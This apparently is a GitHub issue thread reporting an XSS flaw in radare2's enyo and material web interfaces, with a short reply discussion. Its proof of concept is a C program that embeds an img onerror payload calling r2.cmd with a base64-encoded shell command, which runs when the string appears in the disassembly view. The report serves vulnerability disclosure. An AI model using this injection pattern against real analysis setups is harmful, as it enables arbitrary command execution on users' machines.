The enyo and material web interfaces are vulnerable to XSS

Question

Maijin opened this issue 8 years ago · 4 comments

Again, this leads to arbitrary command execution.
PoC

void main()
{
    printf("<img src=k onerror=r2.cmd(atob('ZWNobyAxID4gL3RtcC9ib28='))></img>");
}

Edit:
To clarify, this occurs when the string from the binary is show in the disassembly window.

wat

Answer 1 · 2017-10-01T14:58:48.000Z

been looking for this in the web-ui and didn't found it.
AFAIK this code is in r2, not in the webui.

if i'm wrong, please somebody tells me where is this code.

Answer 2 · 2017-10-10T09:40:43.000Z

please @Maijin elaborate on this and provide a proper testcase

Answer 3 · 2017-10-10T13:39:28.000Z

I have no idea what this is about, I just ripped of the issue from radare2 repo